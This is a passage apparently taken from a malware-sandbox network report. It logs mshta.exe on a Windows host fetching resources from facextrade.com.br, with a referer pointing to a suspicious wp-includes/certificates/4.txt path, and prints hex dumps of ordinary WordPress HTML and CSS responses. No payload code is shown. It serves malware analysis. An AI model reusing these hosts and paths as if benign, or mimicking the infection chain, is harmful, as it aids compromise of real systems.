2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 46 61 63 65 78 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 66 65 65 64 2f 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 61 74 6f 6d 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 46 61 63 65 78 22 20 68 72 65 66 3d 22 68
                                                              Data Ascii: 104f<!DOCTYPE html>...[if lt IE 7 ]><html class="ie ie6" lang="pt-BR"> <![endif]-->...[if IE 7 ]><html class="ie ie7" lang="pt-BR"> <![endif]-->...[if IE 8 ]><html class="ie ie8" lang="pt-BR"> <![endif]-->...[if IE 9 ]><html class="ie ie9" lang="pt-BR"> <![endif]-->...[if (gt IE 9)|!(IE)]>...><html lang="pt-BR"> ...<![endif]--><head><title>Error 404 Not Found | Facex</title><meta name="description" content=" &raquo; Pgina no encontrada | Facex Comrcio Exterior Ltda." /><meta charset="UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0"><link rel="profile" href="//gmpg.org/xfn/11" /><link rel="icon" href="http://facextrade.com.br/wp-content/themes/theme51253/favicon.ico" type="image/x-icon" /><link rel="pingback" href="http://facextrade.com.br/xmlrpc.php" /><link rel="alternate" type="application/rss+xml" title="Facex" href="https://facextrade.com.br/feed/" /><link rel="alternate" type="application/atom+xml" title="Facex" href="h
                                                              Aug 16, 2022 10:33:09.170380116 CEST465INData Raw: 74 74 70 73 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 66 65 65 64 2f 61 74 6f 6d 2f 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6d 65
                                                              Data Ascii: ttps://facextrade.com.br/feed/atom/" /><link rel="stylesheet" type="text/css" media="all" href="http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/bootstrap.css" /><link rel="stylesheet" type="text/css" media="all" href="h
                                                              Aug 16, 2022 10:33:09.170418978 CEST467INData Raw: 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 5c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 5c 2f 6a 73 5c 2f 77 70 2d 65 6d 6f 6a 69 2d 72 65 6c 65 61 73 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 34 2e 39 2e 32 30 22 7d 7d 3b 0a 09 09 09 21 66 75 6e 63 74
                                                              Data Ascii: cextrade.com.br\/wp-includes\/js\/wp-emoji-release.min.js?ver=4.9.20"}};!function(e,a,t){var n,r,o,i=a.createElement("canvas"),p=i.getContext&&i.getContext("2d");function s(e,t){var a=String.fromCharCode;p.clearRect(0,0,i.width,i.height),p
                                                              Aug 16, 2022 10:33:09.170458078 CEST467INData Raw: 70 70 6f 72 74 73 2e 66 6c 61 67 2c 74 2e 44 4f 4d 52 65 61 64 79 3d 21 31 2c 74 2e 72 65 61 64 79 43 61 6c 6c 62 61 63 6b 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 2e 44 4f 4d 52 65 61 64 79 3d 21 30 7d 2c 74 2e 73 75 70 70 6f 72 74 73 2e 65 76 65
                                                              Data Ascii: pports.flag,t.DOMReady=!1,t.readyCallback=function(){t.DOMReady=!0},t.supports.everything||(n=function(){t.readyCallback()},a.addEventListener?(a.addEventListener("DOMContentLoaded",n,!1),e.addEventListener("load",n,!1)):(e.attachEvent("onload
                                                              Aug 16, 2022 10:33:09.172624111 CEST469INData Raw: 31 30 31 64 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 69 6d 67 2e 77 70 2d 73 6d 69 6c 65 79 2c 0a 69 6d 67 2e 65 6d 6f 6a 69 20 7b 0a 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 20 21 69 6d 70 6f 72 74 61
                                                              Data Ascii: 101d<style type="text/css">img.wp-smiley,img.emoji {display: inline !important;border: none !important;box-shadow: none !important;height: 1em !important;width: 1em !important;margin: 0 .07em !important;vertical-align: -0.1em
                                                              Aug 16, 2022 10:33:09.172667027 CEST470INData Raw: 74 2d 61 77 65 73 6f 6d 65 2e 63 73 73 3f 76 65 72 3d 33 2e 32 2e 31 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d
                                                              Data Ascii: t-awesome.css?ver=3.2.1' type='text/css' media='all' /><link rel='stylesheet' id='cherry-plugin-css' href='http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1' type='text/css' media='all' /><
                                                              Aug 16, 2022 10:33:09.172704935 CEST471INData Raw: 73 73 3f 76 65 72 3d 31 2e 30 2e 30 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 6c 67 78 2d 6c 6f 67 6f 2d 73
                                                              Data Ascii: ss?ver=1.0.0' type='text/css' media='all' /><link rel='stylesheet' id='lgx-logo-slider-animate-css' href='http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/animate/animate-logo.css?ver=20' type='text/css' media='al
                                                              Aug 16, 2022 10:33:09.172734976 CEST472INData Raw: 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 43 68 65 72 72 79 46 72 61 6d 65 77 6f 72 6b 2f 6a 73 2f 6a 71 75 65 72 79
                                                              Data Ascii: ascript' src='http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2'></script>
                                                              Aug 16, 2022 10:33:09.177957058 CEST482INData Raw: 31 30 37 66 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67
                                                              Data Ascii: 107f<script type='text/javascript' src='http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3'></script><script type='text/javascript' src='http://facextrade.com.br/wp-content/plugins/cherry-plugin/li
                                                              Aug 16, 2022 10:33:09.178039074 CEST484INData Raw: 2f 6a 73 2f 6c 6f 67 6f 2d 73 6c 69 64 65 72 2d 77 70 2d 70 75 62 6c 69 63 2e 6a 73 3f 76 65 72 3d 31 2e 30 2e 30 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73
                                                              Data Ascii: /js/logo-slider-wp-public.js?ver=1.0.0'></script><script type='text/javascript' src='http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1'></script><script type='text/javascript' src='http://fac
                                                              Aug 16, 2022 10:33:09.383888006 CEST488INData Raw: 4c 20 3d 27 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 27 2c 0a 09 20 50 41 52 45 4e 54 5f 55 52 4c 20 3d 20 27 68 74 74 70 3a 2f
                                                              Data Ascii: L ='http://facextrade.com.br/wp-content/themes/theme51253', PARENT_URL = 'http://facextrade.com.br/wp-content/themes/CherryFramework', CURRENT_THEME = 'theme51253'</script><style type='text/css'>body { background-image:url(http://facext


                                                              Session IDSource IPSource PortDestination IPDestination PortProcess
                                                              13192.168.2.2249186187.45.240.6980C:\Windows\System32\mshta.exe
                                                              TimestampkBytes transferredDirectionData
                                                              Aug 16, 2022 10:33:08.070147991 CEST462OUTGET /wp-content/plugins/bannerrotator/css/caption.css?ver=4.9.20 HTTP/1.1
                                                              Accept: */*
                                                              Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                              Accept-Language: en-US
                                                              UA-CPU: AMD64
                                                              Accept-Encoding: gzip, deflate
                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                              Host: facextrade.com.br
                                                              Connection: Keep-Alive
                                                              Aug 16, 2022 10:33:09.172777891 CEST473INHTTP/1.1 404 Not Found
                                                              Date: Tue, 16 Aug 2022 08:33:08 GMT
                                                              Server: Apache
                                                              Expires: Wed, 11 Jan 1984 05:00:00 GMT
                                                              Cache-Control: no-cache, must-revalidate, max-age=0
                                                              Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/"
                                                              Connection: close
                                                              Transfer-Encoding: chunked
                                                              Content-Type: text/html; charset=UTF-8
                                                              Data Raw: 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 46 61 63 65 78 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 66 65 65 64 2f 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 61 74 6f 6d 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 46 61 63 65 78 22 20 68 72 65 66 3d 22 68
                                                              Data Ascii: 104f<!DOCTYPE html>...[if lt IE 7 ]><html class="ie ie6" lang="pt-BR"> <![endif]-->...[if IE 7 ]><html class="ie ie7" lang="pt-BR"> <![endif]-->...[if IE 8 ]><html class="ie ie8" lang="pt-BR"> <![endif]-->...[if IE 9 ]><html class="ie ie9" lang="pt-BR"> <![endif]-->...[if (gt IE 9)|!(IE)]>...><html lang="pt-BR"> ...<![endif]--><head><title>Error 404 Not Found | Facex</title><meta name="description" content=" &raquo; Pgina no encontrada | Facex Comrcio Exterior Ltda." /><meta charset="UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0"><link rel="profile" href="//gmpg.org/xfn/11" /><link rel="icon" href="http://facextrade.com.br/wp-content/themes/theme51253/favicon.ico" type="image/x-icon" /><link rel="pingback" href="http://facextrade.com.br/xmlrpc.php" /><link rel="alternate" type="application/rss+xml" title="Facex" href="https://facextrade.com.br/feed/" /><link rel="alternate" type="application/atom+xml" title="Facex" href="h
                                                              Aug 16, 2022 10:33:09.172816038 CEST475INData Raw: 74 74 70 73 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 66 65 65 64 2f 61 74 6f 6d 2f 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6d 65
                                                              Data Ascii: ttps://facextrade.com.br/feed/atom/" /><link rel="stylesheet" type="text/css" media="all" href="http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/bootstrap.css" /><link rel="stylesheet" type="text/css" media="all" href="h
                                                              Aug 16, 2022 10:33:09.172854900 CEST476INData Raw: 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 5c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 5c 2f 6a 73 5c 2f 77 70 2d 65 6d 6f 6a 69 2d 72 65 6c 65 61 73 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 34 2e 39 2e 32 30 22 7d 7d 3b 0a 09 09 09 21 66 75 6e 63 74
                                                              Data Ascii: cextrade.com.br\/wp-includes\/js\/wp-emoji-release.min.js?ver=4.9.20"}};!function(e,a,t){var n,r,o,i=a.createElement("canvas"),p=i.getContext&&i.getContext("2d");function s(e,t){var a=String.fromCharCode;p.clearRect(0,0,i.width,i.height),p
                                                              Aug 16, 2022 10:33:09.172887087 CEST476INData Raw: 70 70 6f 72 74 73 2e 66 6c 61 67 2c 74 2e 44 4f 4d 52 65 61 64 79 3d 21 31 2c 74 2e 72 65 61 64 79 43 61 6c 6c 62 61 63 6b 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 2e 44 4f 4d 52 65 61 64 79 3d 21 30 7d 2c 74 2e 73 75 70 70 6f 72 74 73 2e 65 76 65
                                                              Data Ascii: pports.flag,t.DOMReady=!1,t.readyCallback=function(){t.DOMReady=!0},t.supports.everything||(n=function(){t.readyCallback()},a.addEventListener?(a.addEventListener("DOMContentLoaded",n,!1),e.addEventListener("load",n,!1)):(e.attachEvent("onload
                                                              Aug 16, 2022 10:33:09.175770044 CEST478INData Raw: 31 30 31 64 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 69 6d 67 2e 77 70 2d 73 6d 69 6c 65 79 2c 0a 69 6d 67 2e 65 6d 6f 6a 69 20 7b 0a 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 20 21 69 6d 70 6f 72 74 61
                                                              Data Ascii: 101d<style type="text/css">img.wp-smiley,img.emoji {display: inline !important;border: none !important;box-shadow: none !important;height: 1em !important;width: 1em !important;margin: 0 .07em !important;vertical-align: -0.1em
                                                              Aug 16, 2022 10:33:09.175838947 CEST479INData Raw: 74 2d 61 77 65 73 6f 6d 65 2e 63 73 73 3f 76 65 72 3d 33 2e 32 2e 31 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d
                                                              Data Ascii: t-awesome.css?ver=3.2.1' type='text/css' media='all' /><link rel='stylesheet' id='cherry-plugin-css' href='http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1' type='text/css' media='all' /><
                                                              Aug 16, 2022 10:33:09.175911903 CEST481INData Raw: 73 73 3f 76 65 72 3d 31 2e 30 2e 30 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 6c 67 78 2d 6c 6f 67 6f 2d 73
                                                              Data Ascii: ss?ver=1.0.0' type='text/css' media='all' /><link rel='stylesheet' id='lgx-logo-slider-animate-css' href='http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/animate/animate-logo.css?ver=20' type='text/css' media='al
                                                              Aug 16, 2022 10:33:09.175942898 CEST481INData Raw: 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 43 68 65 72 72 79 46 72 61 6d 65 77 6f 72 6b 2f 6a 73 2f 6a 71 75 65 72 79
                                                              Data Ascii: ascript' src='http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2'></script>
                                                              Aug 16, 2022 10:33:09.180586100 CEST485INData Raw: 31 30 37 66 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67
                                                              Data Ascii: 107f<script type='text/javascript' src='http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3'></script><script type='text/javascript' src='http://facextrade.com.br/wp-content/plugins/cherry-plugin/li
                                                              Aug 16, 2022 10:33:09.180629015 CEST487INData Raw: 2f 6a 73 2f 6c 6f 67 6f 2d 73 6c 69 64 65 72 2d 77 70 2d 70 75 62 6c 69 63 2e 6a 73 3f 76 65 72 3d 31 2e 30 2e 30 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73
                                                              Data Ascii: /js/logo-slider-wp-public.js?ver=1.0.0'></script><script type='text/javascript' src='http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1'></script><script type='text/javascript' src='http://fac
                                                              Aug 16, 2022 10:33:09.384040117 CEST498INData Raw: 4c 20 3d 27 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 27 2c 0a 09 20 50 41 52 45 4e 54 5f 55 52 4c 20 3d 20 27 68 74 74 70 3a 2f
                                                              Data Ascii: L ='http://facextrade.com.br/wp-content/themes/theme51253', PARENT_URL = 'http://facextrade.com.br/wp-content/themes/CherryFramework', CURRENT_THEME = 'theme51253'</script><style type='text/css'>body { background-image:url(http://facext


                                                              Session IDSource IPSource PortDestination IPDestination PortProcess
                                                              14192.168.2.2249187187.45.240.6980C:\Windows\System32\mshta.exe
                                                              TimestampkBytes transferredDirectionData
                                                              Aug 16, 2022 10:33:09.899822950 CEST529OUTGET /wp-content/plugins/logo-slider-wp/public/assets/lib/owl/assets/owl.carousel.min.css?ver=1.0.0 HTTP/1.1
                                                              Accept: */*
                                                              Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                              Accept-Language: en-US
                                                              UA-CPU: AMD64
                                                              Accept-Encoding: gzip, deflate
                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                              Host: facextrade.com.br
                                                              Connection: Keep-Alive
                                                              Aug 16, 2022 10:33:10.115180016 CEST531INHTTP/1.1 200 OK
                                                              Date: Tue, 16 Aug 2022 08:33:10 GMT
                                                              Server: Apache
                                                              Last-Modified: Tue, 10 Aug 2021 23:54:27 GMT
                                                              ETag: "a51456-d17-5c93d38d9645e"
                                                              Accept-Ranges: bytes
                                                              Content-Length: 3351
                                                              Connection: close
                                                              Content-Type: text/css
                                                              Data Raw: 2f 2a 2a 0a 20 2a 20 4f 77 6c 20 43 61 72 6f 75 73 65 6c 20 76 32 2e 33 2e 34 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 33 2d 32 30 31 38 20 44 61 76 69 64 20 44 65 75 74 73 63 68 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 3a 20 53 45 45 20 4c 49 43 45 4e 53 45 20 49 4e 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 4f 77 6c 43 61 72 6f 75 73 65 6c 32 2f 4f 77 6c 43 61 72 6f 75 73 65 6c 32 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 0a 20 2a 2f 0a 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 2c 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 69 74 65 6d 7b 2d 77 65 62 6b 69 74 2d 74 61 70 2d 68 69 67 68 6c 69 67 68 74 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 77 69 64 74 68 3a 31 30 30 25 3b 7a 2d 69 6e 64 65 78 3a 31 7d 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 73 74 61 67 65 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 2d 6d 73 2d 74 6f 75 63 68 2d 61 63 74 69 6f 6e 3a 70 61 6e 2d 59 3b 74 6f 75 63 68 2d 61 63 74 69 6f 6e 3a 6d 61 6e 69 70 75 6c 61 74 69 6f 6e 3b 2d 6d 6f 7a 2d 62 61 63 6b 66 61 63 65 2d 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 7d 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 73 74 61 67 65 3a 61 66 74 65 72 7b 63 6f 6e 74 65 6e 74 3a 22 2e 22 3b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 30 3b 68 65 69 67 68 74 3a 30 7d 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 73 74 61 67 65 2d 6f 75 74 65 72 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 30 2c 30 2c 30 29 7d 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 69 74 65 6d 2c 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 77 72 61 70 70 65 72 7b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 66 61 63 65 2d 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 3b 2d 6d 6f 7a 2d 62 61 63 6b 66 61 63 65 2d 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 3b 2d 6d 73 